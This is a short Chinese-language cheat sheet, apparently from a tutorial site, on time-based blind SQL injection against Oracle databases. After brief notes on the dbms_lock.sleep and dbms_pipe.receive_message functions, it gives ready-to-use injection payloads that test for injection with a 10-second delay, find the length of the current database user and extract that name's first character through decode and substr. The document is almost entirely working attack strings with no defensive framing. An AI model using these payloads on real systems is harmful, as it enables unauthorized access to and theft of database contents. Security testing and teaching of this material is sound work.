合规国际互联网加速 OSASE为企业客户提供高速稳定SD-WAN国际加速解决方案。 广告
[TOC] ## 常用的函数 ``` dbms_lock.sleep()函数 ``` 该函数可以让一个过程休眠很多秒,但不能直接讲该函数注入到子查询里,只有数据管理员才能使用 ``` dbms_pipe.receive_message('RDS',10) ``` 该函数将为从RDS管道返回的数据等待10秒,默认情况下允许public权限执行 ## 判断是否存在注入 ~~~ and 1=dbms_pipe.receive_message('RDS',10) --+ ~~~ ## 判断数据的长度 ~~~ and 1=(select decode(length(user),6,dbms_pipe.receive_message('RDS',10),0) from dual) --+ ~~~ ## 利用decode布尔盲注判断第一个字符 ~~~ and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',10),0) from dual) --+ ~~~